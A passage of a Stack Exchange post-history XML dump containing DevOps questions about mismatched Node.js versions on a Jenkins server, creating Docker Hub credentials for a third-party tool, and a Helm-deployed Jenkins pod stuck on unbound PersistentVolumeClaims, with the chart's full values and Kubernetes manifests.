version is is trying to use:&#xD;&#xA;&#xD;&#xA;    + echo current user&#xD;&#xA;    current user&#xD;&#xA;    + whoami&#xD;&#xA;    jenkins&#xD;&#xA;    + npm -v&#xD;&#xA;    5.0.3&#xD;&#xA;&#xD;&#xA;To investigate the issue I used putty to remote onto the jenkins box and ran npm -v and ng v to see what is installed and get:&#xD;&#xA;&#xD;&#xA;    jenkins@****-int1:~$ npm -v&#xD;&#xA;    6.5.0-next.0&#xD;&#xA;&#xD;&#xA;Which is different to that reported by npm -v in the shell script.&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ ng v&#xD;&#xA;    &#xD;&#xA;         _                      _                 ____ _     ___&#xD;&#xA;        / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|&#xD;&#xA;       / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |&#xD;&#xA;      / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |&#xD;&#xA;     /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|&#xD;&#xA;                    |___/&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Angular CLI: 7.1.4&#xD;&#xA;    Node: 11.6.0&#xD;&#xA;    OS: linux x64&#xD;&#xA;    Angular:&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    Package                      Version&#xD;&#xA;    ------------------------------------------------------&#xD;&#xA;    @angular-devkit/architect    0.11.4&#xD;&#xA;    @angular-devkit/core         7.1.4&#xD;&#xA;    @angular-devkit/schematics   7.1.4&#xD;&#xA;    @schematics/angular          7.1.4&#xD;&#xA;    @schematics/update           0.11.4&#xD;&#xA;    rxjs                         6.3.3&#xD;&#xA;    typescript                   3.1.6&#xD;&#xA;&#xD;&#xA;So it should have nodejs 11.6, I ran node -v to double check:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ node -v&#xD;&#xA;    v11.6.0&#xD;&#xA;&#xD;&#xA;BUT if I run nodejs -v I get:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ nodejs -v&#xD;&#xA;    v8.1.4&#xD;&#xA;&#xD;&#xA;I thought that node and nodejs were the same thing? so why would I have two different versions installed and how to fix this?&#xD;&#xA;&#xD;&#xA;To double check what my Jenkins script is using I added a call to node -v in the script and as expected it reports the older version:&#xD;&#xA;&#xD;&#xA;    + node -v&#xD;&#xA;    v8.1.4&#xD;&#xA;&#xD;&#xA;I'm not a DevOps person, I'm C# back end developer who's been lumbered with sorting this out due staff changes. I know very little about Linux, Jenkins or this stuff in general.&#xD;&#xA;&#xD;&#xA;I tried to update the node installation via the Jenkins Shell script using&#xD;&#xA;&#xD;&#xA;    sudo npm cache clean -f&#xD;&#xA;    sudo npm install -g n&#xD;&#xA;    sudo n stable&#xD;&#xA;&#xD;&#xA;But these were refused due to access rights (no sudo pwd I presume) and I don't know if that would've fixed the issue anyway.&#xD;&#xA;&#xD;&#xA;Any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27459" PostHistoryTypeId="4" PostId="5895" RevisionGUID="94f0f696-1e2f-40b6-b1ac-a74ae28468b5" CreationDate="2019-09-28T21:07:59.840" UserId="40" Comment="fix typos" Text="How to update nodejs on Jenkins master node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27460" PostHistoryTypeId="5" PostId="6022" RevisionGUID="3270c571-02fc-4ee3-af8e-ed3ccb1415d2" CreationDate="2019-09-28T21:15:20.730" UserId="40" Comment="Integrate comments from OPer " Text="I was asked to use Docker Hub as part of a build/deploy pipeline.&#xD;&#xA;I am supposed to provide some authentication credentials to a third-party tool, so that this tool can push container images to private repos.&#xD;&#xA;&#xD;&#xA;Now, I don't see any place where I can generate secrets/API key that are safe to give to that third-party. Am I missing something? In Amazon for example I can create roles with IAM.&#xD;&#xA;&#xD;&#xA;Note: The platform I tried to use is banzaicloud.com . Trying to setup a basic Nodejs app following their instructions. As far as I'm concerned, the problem of authentication should not be on the third-party tools side. The same way I can generate API keys for any kind of service and use them in whatever client I want. In the platform I refer to, it seems only the &quot;full docker hub account&quot; credentials can be used instead of some kind of dedicated third party mechanism (like API keys or IAM, etc)." ContentLicense="CC BY-SA 4.0" />
  <row Id="27461" PostHistoryTypeId="4" PostId="6022" RevisionGUID="3270c571-02fc-4ee3-af8e-ed3ccb1415d2" CreationDate="2019-09-28T21:15:20.730" UserId="40" Comment="Integrate comments from OPer " Text="How to create credentials for Docker Hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27466" PostHistoryTypeId="5" PostId="5970" RevisionGUID="4c3c54a7-3f2c-4092-9765-4cdb7bd22ec1" CreationDate="2019-09-28T21:30:18.937" UserId="40" Comment="remove noise, fix formatting" Text="I try to deploy Jenkins in local Kubernetes cluster with Helm from repo stable/jenkins:lts. But after deployment I get pod which has status &quot;`pod has unbound immediate PersistentVolumeClaims`&quot;. PVC has status &quot;bound&quot; without any errors.&#xD;&#xA;&#xD;&#xA;My environment: virtual machine with Linux Ubuntu 18.x where there is installed microk8s. When I deploy I change only node type and persistence size.&#xD;&#xA;&#xD;&#xA;Helm chart config:&#xD;&#xA;&#xD;&#xA;    NAME:   inclined-eagle&#xD;&#xA;    REVISION: 1&#xD;&#xA;    RELEASED: Fri Jan 11 21:35:47 2019&#xD;&#xA;    CHART: jenkins-0.28.6&#xD;&#xA;    USER-SUPPLIED VALUES:&#xD;&#xA;    Master:&#xD;&#xA;      ServiceType: NodePort&#xD;&#xA;    Persistence:&#xD;&#xA;      Size: 4Gi&#xD;&#xA;    &#xD;&#xA;    COMPUTED VALUES:&#xD;&#xA;    Agent:&#xD;&#xA;      AlwaysPullImage: false&#xD;&#xA;      Component: jenkins-slave&#xD;&#xA;      CustomJenkinsLabels: []&#xD;&#xA;      Enabled: true&#xD;&#xA;      Image: jenkins/jnlp-slave&#xD;&#xA;      ImageTag: 3.27-1&#xD;&#xA;      NodeSelector: {}&#xD;&#xA;      PodRetention: Never&#xD;&#xA;      Privileged: false&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 200m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 200m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;      volumes: null&#xD;&#xA;    Master:&#xD;&#xA;      AdditionalConfig: {}&#xD;&#xA;      AdminUser: admin&#xD;&#xA;      CLI: false&#xD;&#xA;      CSRF:&#xD;&#xA;        DefaultCrumbIssuer:&#xD;&#xA;          Enabled: true&#xD;&#xA;          ProxyCompatability: true&#xD;&#xA;      Component: jenkins-master&#xD;&#xA;      CustomConfigMap: false&#xD;&#xA;      DisabledAgentProtocols:&#xD;&#xA;      - JNLP-connect&#xD;&#xA;      - JNLP2-connect&#xD;&#xA;      ExtraPorts: null&#xD;&#xA;      HealthProbeLivenessFailureThreshold: 12&#xD;&#xA;      HealthProbeReadinessPeriodSeconds: 10&#xD;&#xA;      HealthProbes: true&#xD;&#xA;      HealthProbesLivenessTimeout: 90&#xD;&#xA;      HealthProbesReadinessTimeout: 60&#xD;&#xA;      HostNetworking: false&#xD;&#xA;      Image: jenkins/jenkins&#xD;&#xA;      ImagePullPolicy: Always&#xD;&#xA;      ImageTag: lts&#xD;&#xA;      Ingress:&#xD;&#xA;        Annotations: {}&#xD;&#xA;        ApiVersion: extensions/v1beta1&#xD;&#xA;        TLS: null&#xD;&#xA;      InitScripts: null&#xD;&#xA;      InstallPlugins:&#xD;&#xA;      - kubernetes:1.14.0&#xD;&#xA;      - workflow-job:2.31&#xD;&#xA;      - workflow-aggregator:2.6&#xD;&#xA;      - credentials-binding:1.17&#xD;&#xA;      - git:3.9.1&#xD;&#xA;      LoadBalancerSourceRanges:&#xD;&#xA;      - 0.0.0.0/0&#xD;&#xA;      Name: jenkins-master&#xD;&#xA;      NodeSelector: {}&#xD;&#xA;      NumExecutors: 0&#xD;&#xA;      OverwriteConfig: false&#xD;&#xA;      PodAnnotations: {}&#xD;&#xA;      ServiceAnnotations: {}&#xD;&#xA;      ServiceLabels: {}&#xD;&#xA;      ServicePort: 8080&#xD;&#xA;      ServiceType: NodePort&#xD;&#xA;      SlaveListenerPort: 50000&#xD;&#xA;      SlaveListenerServiceAnnotations: {}&#xD;&#xA;      SlaveListenerServiceType: ClusterIP&#xD;&#xA;      Tolerations: {}&#xD;&#xA;      UsePodSecurityContext: true&#xD;&#xA;      UseSecurity: true&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 2000m&#xD;&#xA;          memory: 2048Mi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 50m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;    NetworkPolicy:&#xD;&#xA;      ApiVersion: networking.k8s.io/v1&#xD;&#xA;      Enabled: false&#xD;&#xA;    Persistence:&#xD;&#xA;      AccessMode: ReadWriteOnce&#xD;&#xA;      Annotations: {}&#xD;&#xA;      Enabled: true&#xD;&#xA;      Size: 4Gi&#xD;&#xA;      mounts: null&#xD;&#xA;      volumes: null&#xD;&#xA;    backup:&#xD;&#xA;      annotations:&#xD;&#xA;        iam.amazonaws.com/role: jenkins&#xD;&#xA;      destination: s3://nuvo-jenkins-data/backup&#xD;&#xA;      enabled: false&#xD;&#xA;      env:&#xD;&#xA;      - name: AWS_REGION&#xD;&#xA;        value: us-east-1&#xD;&#xA;      extraArgs: []&#xD;&#xA;      image:&#xD;&#xA;        repository: nuvo/kube-tasks&#xD;&#xA;        tag: 0.1.2&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 1&#xD;&#xA;          memory: 1Gi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 1&#xD;&#xA;          memory: 1Gi&#xD;&#xA;      schedule: 0 2 * * *&#xD;&#xA;    rbac:&#xD;&#xA;      install: false&#xD;&#xA;      roleBindingKind: ClusterRoleBinding&#xD;&#xA;      roleKind: ClusterRole&#xD;&#xA;      roleRef: cluster-admin&#xD;&#xA;      serviceAccountName: default&#xD;&#xA;    &#xD;&#xA;    HOOKS:&#xD;&#xA;    ---&#xD;&#xA;    # inclined-eagle-ui-test-1mhfp&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: &quot;inclined-eagle-ui-test-1mhfp&quot;&#xD;&#xA;      annotations:&#xD;&#xA;        &quot;helm.sh/hook&quot;: test-success&#xD;&#xA;    spec:&#xD;&#xA;      initContainers:&#xD;&#xA;        - name: &quot;test-framework&quot;&#xD;&#xA;          image: &quot;dduportal/bats:0.4.0&quot;&#xD;&#xA;          command:&#xD;&#xA;          - &quot;bash&quot;&#xD;&#xA;          - &quot;-c&quot;&#xD;&#xA;          - |&#xD;&#xA;            set -ex&#xD;&#xA;            # copy bats to tools dir&#xD;&#xA;            cp -R /usr/local/libexec/ /tools/bats/&#xD;&#xA;          volumeMounts:&#xD;&#xA;          - mountPath: /tools&#xD;&#xA;            name: tools&#xD;&#xA;      containers:&#xD;&#xA;        - name: inclined-eagle-ui-test&#xD;&#xA;          image: jenkins/jenkins:lts&#xD;&#xA;          command: [&quot;/tools/bats/bats&quot;, &quot;-t&quot;, &quot;/tests/run.sh&quot;]&#xD;&#xA;          volumeMounts:&#xD;&#xA;          - mountPath: /tests&#xD;&#xA;            name: tests&#xD;&#xA;            readOnly: true&#xD;&#xA;          - mountPath: /tools&#xD;&#xA;            name: tools&#xD;&#xA;      volumes:&#xD;&#xA;      - name: tests&#xD;&#xA;        configMap:&#xD;&#xA;          name: inclined-eagle-jenkins-tests&#xD;&#xA;      - name: tools&#xD;&#xA;        emptyDir: {}&#xD;&#xA;      restartPolicy: Never&#xD;&#xA;    MANIFEST:&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/secret.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Secret&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;    type: Opaque&#xD;&#xA;    data:&#xD;&#xA;      &#xD;&#xA;      jenkins-admin-password: &quot;enkyZlZqdVdqMw==&quot;&#xD;&#xA;      &#xD;&#xA;      jenkins-admin-user: &quot;YWRtaW4=&quot;&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/config.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;    data:&#xD;&#xA;      config.xml: |-&#xD;&#xA;        &lt;?xml version='1.0' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;hudson&gt;&#xD;&#xA;          &lt;disabledAdministrativeMonitors/&gt;&#xD;&#xA;          &lt;version&gt;lts&lt;/version&gt;&#xD;&#xA;          &lt;numExecutors&gt;0&lt;/numExecutors&gt;&#xD;&#xA;          &lt;mode&gt;NORMAL&lt;/mode&gt;&#xD;&#xA;          &lt;useSecurity&gt;true&lt;/useSecurity&gt;&#xD;&#xA;          &lt;authorizationStrategy class=&quot;hudson.security.FullControlOnceLoggedInAuthorizationStrategy&quot;&gt;&#xD;&#xA;            &lt;denyAnonymousReadAccess&gt;true&lt;/denyAnonymousReadAccess&gt;&#xD;&#xA;          &lt;/authorizationStrategy&gt;&#xD;&#xA;          &lt;securityRealm class=&quot;hudson.security.LegacySecurityRealm&quot;/&gt;&#xD;&#xA;          &lt;disableRememberMe&gt;false&lt;/disableRememberMe&gt;&#xD;&#xA;          &lt;projectNamingStrategy class=&quot;jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy&quot;/&gt;&#xD;&#xA;          &lt;workspaceDir&gt;${JENKINS_HOME}/workspace/${ITEM_FULLNAME}&lt;/workspaceDir&gt;&#xD;&#xA;          &lt;buildsDir&gt;${ITEM_ROOTDIR}/builds&lt;/buildsDir&gt;&#xD;&#xA;          &lt;markupFormatter class=&quot;hudson.markup.EscapedMarkupFormatter&quot;/&gt;&#xD;&#xA;          &lt;jdks/&gt;&#xD;&#xA;          &lt;viewsTabBar class=&quot;hudson.views.DefaultViewsTabBar&quot;/&gt;&#xD;&#xA;          &lt;myViewsTabBar class=&quot;hudson.views.DefaultMyViewsTabBar&quot;/&gt;&#xD;&#xA;          &lt;clouds&gt;&#xD;&#xA;            &lt;org.csanchez.jenkins.plugins.kubernetes.KubernetesCloud plugin=&quot;kubernetes@1.14.0&quot;&gt;&#xD;&#xA;              &lt;name&gt;kubernetes&lt;/name&gt;&#xD;&#xA;              &lt;templates&gt;&#xD;&#xA;                &lt;org.csanchez.jenkins.plugins.kubernetes.PodTemplate&gt;&#xD;&#xA;                  &lt;inheritFrom&gt;&lt;/inheritFrom&gt;&#xD;&#xA;                  &lt;name&gt;default&lt;/name&gt;&#xD;&#xA;                  &lt;instanceCap&gt;2147483647&lt;/instanceCap&gt;&#xD;&#xA;                  &lt;idleMinutes&gt;0&lt;/idleMinutes&gt;&#xD;&#xA;                  &lt;label&gt;inclined-eagle-jenkins-slave &lt;/label&gt;&#xD;&#xA;                  &lt;nodeSelector&gt;&lt;/nodeSelector&gt;&#xD;&#xA;                    &lt;nodeUsageMode&gt;NORMAL&lt;/nodeUsageMode&gt;&#xD;&#xA;                  &lt;volumes&gt;&#xD;&#xA;                  &lt;/volumes&gt;&#xD;&#xA;                  &lt;containers&gt;&#xD;&#xA;                    &lt;org.csanchez.jenkins.plugins.kubernetes.ContainerTemplate&gt;&#xD;&#xA;                      &lt;name&gt;jnlp&lt;/name&gt;&#xD;&#xA;                      &lt;image&gt;jenkins/jnlp-slave:3.27-1&lt;/image&gt;&#xD;&#xA;                      &lt;privileged&gt;false&lt;/privileged&gt;&#xD;&#xA;                      &lt;alwaysPullImage&gt;false&lt;/alwaysPullImage&gt;&#xD;&#xA;                      &lt;workingDir&gt;/home/jenkins&lt;/workingDir&gt;&#xD;&#xA;                      &lt;command&gt;&lt;/command&gt;&#xD;&#xA;                      &lt;args&gt;${computer.jnlpmac} ${computer.name}&lt;/args&gt;&#xD;&#xA;                      &lt;ttyEnabled&gt;false&lt;/ttyEnabled&gt;&#xD;&#xA;                      # Resources configuration is a little hacky. This was to prevent breaking&#xD;&#xA;                      # changes, and should be cleanned up in the future once everybody had&#xD;&#xA;                      # enough time to migrate.&#xD;&#xA;                      &lt;resourceRequestCpu&gt;200m&lt;/resourceRequestCpu&gt;&#xD;&#xA;                      &lt;resourceRequestMemory&gt;256Mi&lt;/resourceRequestMemory&gt;&#xD;&#xA;                      &lt;resourceLimitCpu&gt;200m&lt;/resourceLimitCpu&gt;&#xD;&#xA;                      &lt;resourceLimitMemory&gt;256Mi&lt;/resourceLimitMemory&gt;&#xD;&#xA;                      &lt;envVars&gt;&#xD;&#xA;                        &lt;org.csanchez.jenkins.plugins.kubernetes.ContainerEnvVar&gt;&#xD;&#xA;                          &lt;key&gt;JENKINS_URL&lt;/key&gt;&#xD;&#xA;                          &lt;value&gt;http://inclined-eagle-jenkins:8080&lt;/value&gt;&#xD;&#xA;                        &lt;/org.csanchez.jenkins.plugins.kubernetes.ContainerEnvVar&gt;&#xD;&#xA;                      &lt;/envVars&gt;&#xD;&#xA;                    &lt;/org.csanchez.jenkins.plugins.kubernetes.ContainerTemplate&gt;&#xD;&#xA;                  &lt;/containers&gt;&#xD;&#xA;                  &lt;envVars/&gt;&#xD;&#xA;                  &lt;annotations/&gt;&#xD;&#xA;                  &lt;imagePullSecrets/&gt;&#xD;&#xA;                  &lt;nodeProperties/&gt;&#xD;&#xA;                  &lt;podRetention class=&quot;org.csanchez.jenkins.plugins.kubernetes.pod.retention.Default&quot;/&gt;&#xD;&#xA;                &lt;/org.csanchez.jenkins.plugins.kubernetes.PodTemplate&gt;&lt;/templates&gt;&#xD;&#xA;              &lt;serverUrl&gt;https://kubernetes.default&lt;/serverUrl&gt;&#xD;&#xA;              &lt;skipTlsVerify&gt;false&lt;/skipTlsVerify&gt;&#xD;&#xA;              &lt;namespace&gt;default&lt;/namespace&gt;&#xD;&#xA;              &lt;jenkinsUrl&gt;http://inclined-eagle-jenkins:8080&lt;/jenkinsUrl&gt;&#xD;&#xA;              &lt;jenkinsTunnel&gt;inclined-eagle-jenkins-agent:50000&lt;/jenkinsTunnel&gt;&#xD;&#xA;              &lt;containerCap&gt;10&lt;/containerCap&gt;&#xD;&#xA;              &lt;retentionTimeout&gt;5&lt;/retentionTimeout&gt;&#xD;&#xA;              &lt;connectTimeout&gt;0&lt;/connectTimeout&gt;&#xD;&#xA;              &lt;readTimeout&gt;0&lt;/readTimeout&gt;&#xD;&#xA;              &lt;podRetention class=&quot;org.csanchez.jenkins.plugins.kubernetes.pod.retention.Never&quot;/&gt;&#xD;&#xA;            &lt;/org.csanchez.jenkins.plugins.kubernetes.KubernetesCloud&gt;&#xD;&#xA;          &lt;/clouds&gt;&#xD;&#xA;          &lt;quietPeriod&gt;5&lt;/quietPeriod&gt;&#xD;&#xA;          &lt;scmCheckoutRetryCount&gt;0&lt;/scmCheckoutRetryCount&gt;&#xD;&#xA;          &lt;views&gt;&#xD;&#xA;            &lt;hudson.model.AllView&gt;&#xD;&#xA;              &lt;owner class=&quot;hudson&quot; reference=&quot;../../..&quot;/&gt;&#xD;&#xA;              &lt;name&gt;All&lt;/name&gt;&#xD;&#xA;              &lt;filterExecutors&gt;false&lt;/filterExecutors&gt;&#xD;&#xA;              &lt;filterQueue&gt;false&lt;/filterQueue&gt;&#xD;&#xA;              &lt;properties class=&quot;hudson.model.View$PropertyList&quot;/&gt;&#xD;&#xA;            &lt;/hudson.model.AllView&gt;&#xD;&#xA;          &lt;/views&gt;&#xD;&#xA;          &lt;primaryView&gt;All&lt;/primaryView&gt;&#xD;&#xA;          &lt;slaveAgentPort&gt;50000&lt;/slaveAgentPort&gt;&#xD;&#xA;          &lt;disabledAgentProtocols&gt;&#xD;&#xA;            &lt;string&gt;JNLP-connect&lt;/string&gt;&#xD;&#xA;            &lt;string&gt;JNLP2-connect&lt;/string&gt;&#xD;&#xA;          &lt;/disabledAgentProtocols&gt;&#xD;&#xA;          &lt;label&gt;&lt;/label&gt;&#xD;&#xA;          &lt;crumbIssuer class=&quot;hudson.security.csrf.DefaultCrumbIssuer&quot;&gt;&#xD;&#xA;            &lt;excludeClientIPFromCrumb&gt;true&lt;/excludeClientIPFromCrumb&gt;&#xD;&#xA;          &lt;/crumbIssuer&gt;&#xD;&#xA;          &lt;nodeProperties/&gt;&#xD;&#xA;          &lt;globalNodeProperties/&gt;&#xD;&#xA;          &lt;noUsageStatistics&gt;true&lt;/noUsageStatistics&gt;&#xD;&#xA;        &lt;/hudson&gt;&#xD;&#xA;      jenkins.model.JenkinsLocationConfiguration.xml: |-&#xD;&#xA;        &lt;?xml version='1.1' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;jenkins.model.JenkinsLocationConfiguration&gt;&#xD;&#xA;          &lt;adminAddress&gt;&lt;/adminAddress&gt;&#xD;&#xA;          &lt;jenkinsUrl&gt;http://inclined-eagle-jenkins:8080&lt;/jenkinsUrl&gt;&#xD;&#xA;        &lt;/jenkins.model.JenkinsLocationConfiguration&gt;&#xD;&#xA;      jenkins.CLI.xml: |-&#xD;&#xA;        &lt;?xml version='1.1' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;jenkins.CLI&gt;&#xD;&#xA;          &lt;enabled&gt;false&lt;/enabled&gt;&#xD;&#xA;        &lt;/jenkins.CLI&gt;&#xD;&#xA;      apply_config.sh: |-&#xD;&#xA;        mkdir -p /usr/share/jenkins/ref/secrets/;&#xD;&#xA;        echo &quot;false&quot; &gt; /usr/share/jenkins/ref/secrets/slave-to-master-security-kill-switch;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/config.xml /var/jenkins_home;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/jenkins.CLI.xml /var/jenkins_home;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/jenkins.model.JenkinsLocationConfiguration.xml /var/jenkins_home;&#xD;&#xA;        # Install missing plugins&#xD;&#xA;        cp /var/jenkins_config/plugins.txt /var/jenkins_home;&#xD;&#xA;        rm -rf /usr/share/jenkins/ref/plugins/*.lock&#xD;&#xA;        /usr/local/bin/install-plugins.sh `echo $(cat /var/jenkins_home/plugins.txt)`;&#xD;&#xA;        # Copy plugins to shared volume&#xD;&#xA;        yes n | cp -i /usr/share/jenkins/ref/plugins/* /var/jenkins_plugins/;&#xD;&#xA;      plugins.txt: |-&#xD;&#xA;        kubernetes:1.14.0&#xD;&#xA;        workflow-job:2.31&#xD;&#xA;        workflow-aggregator:2.6&#xD;&#xA;        credentials-binding:1.17&#xD;&#xA;        git:3.9.1&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/test-config.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins-tests&#xD;&#xA;    data:&#xD;&#xA;      run.sh: |-&#xD;&#xA;        @test &quot;Testing Jenkins UI is accessible&quot; {&#xD;&#xA;          curl --retry 48 --retry-delay 10 inclined-eagle-jenkins:8080/login&#xD;&#xA;        }&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/home-pvc.yaml&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - &quot;ReadWriteOnce&quot;&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: &quot;4Gi&quot;&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-agent-svc.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins-agent&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - port: 50000&#xD;&#xA;          targetPort: 50000&#xD;&#xA;          &#xD;&#xA;          name: slavelistener&#xD;&#xA;      selector:&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      type: ClusterIP&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-master-svc.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - port: 8080&#xD;&#xA;          name: http&#xD;&#xA;          targetPort: 8080&#xD;&#xA;          &#xD;&#xA;      selector:&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      type: NodePort&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-master-deployment.yaml&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      strategy:&#xD;&#xA;        type: Recreate&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: inclined-eagle-jenkins&#xD;&#xA;            heritage: &quot;Tiller&quot;&#xD;&#xA;            release: &quot;inclined-eagle&quot;&#xD;&#xA;            chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;            component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;          annotations:&#xD;&#xA;            checksum/config: 4eebbff9187d5eadf249ff0106423ec0b571659e014ed75f2abef5619afc24f9&#xD;&#xA;        spec:&#xD;&#xA;          securityContext:&#xD;&#xA;            runAsUser: 0&#xD;&#xA;          serviceAccountName: &quot;default&quot;&#xD;&#xA;          initContainers:&#xD;&#xA;            - name: &quot;copy-default-config&quot;&#xD;&#xA;              image: &quot;jenkins/jenkins:lts&quot;&#xD;&#xA;              imagePullPolicy: &quot;Always&quot;&#xD;&#xA;              command: [ &quot;sh&quot;, &quot;/var/jenkins_config/apply_config.sh&quot; ]&#xD;&#xA;              resources:&#xD;&#xA;                limits:&#xD;&#xA;                  cpu: 2000m&#xD;&#xA;                  memory: 2048Mi&#xD;&#xA;                requests:&#xD;&#xA;                  cpu: 50m&#xD;&#xA;                  memory: 256Mi&#xD;&#xA;                &#xD;&#xA;              volumeMounts:&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_home&#xD;&#xA;                  name: jenkins-home&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_config&#xD;&#xA;                  name: jenkins-config&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_plugins&#xD;&#xA;                  name: plugin-dir&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/secrets/&#xD;&#xA;                  name: secrets-dir&#xD;&#xA;          containers:&#xD;&#xA;            - name: inclined-eagle-jenkins&#xD;&#xA;              image: &quot;jenkins/jenkins:lts&quot;&#xD;&#xA;              imagePullPolicy: &quot;Always&quot;&#xD;&#xA;              args: [ &quot;--argumentsRealm.passwd.$(ADMIN_USER)=$(ADMIN_PASSWORD)&quot;,  &quot;--argumentsRealm.roles.$(ADMIN_USER)=admin&quot;]&#xD;&#xA;              env:&#xD;&#xA;                - name: JAVA_OPTS&#xD;&#xA;                  value: &quot;&quot;&#xD;&#xA;                - name: JENKINS_OPTS&#xD;&#xA;                  value: &quot;&quot;&#xD;&#xA;                - name: ADMIN_PASSWORD&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: inclined-eagle-jenkins&#xD;&#xA;                      key: jenkins-admin-password&#xD;&#xA;                - name: ADMIN_USER&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: inclined-eagle-jenkins&#xD;&#xA;                      key: jenkins-admin-user&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 8080&#xD;&#xA;                  name: http&#xD;&#xA;                - containerPort: 50000&#xD;&#xA;                  name: slavelistener&#xD;&#xA;              livenessProbe:&#xD;&#xA;                httpGet:&#xD;&#xA;                  path: &quot;/login&quot;&#xD;&#xA;                  port: 